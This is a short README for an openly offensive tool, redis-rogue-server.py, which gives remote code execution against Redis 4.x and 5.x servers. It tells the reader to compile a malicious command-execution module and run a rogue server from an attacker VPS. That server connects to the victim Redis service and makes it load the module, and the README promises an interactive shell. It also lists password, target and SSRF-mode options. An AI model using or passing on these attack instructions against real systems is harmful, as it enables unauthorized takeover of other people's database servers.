A exploit for Redis 4.x/Redis 5.x RCE, inspired by Redis post-exploitation.
Also works for Redis 5.0.8.
Compile .so from https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.
Copy the .so file to same folder with redis-rogue-server.py.
Run the rogue server, which will connect to the victim redis server to launch an attack
python3 redis-rogue-server.py --rhost <target address> --rport <target port> --lhost <vps address> --lport <vps port>
Usage:
--rpasswdif the victim redis service has authentication enabled, you can specify the password through this option--rhostIP of the victim redis service--rportport number of the victim redis service , default is 6379--lhostexternal IP address of your VPS--lportthe port number of the rogue server, default is 21000
Run this command, and you will get an interactive shell!
You can use --server-only for SSRF cases.
python3 redis-rogue-server.py --server-onlyUsage:
--server-onlyonly start the redis rogue server, do not actively connect to the victim redis server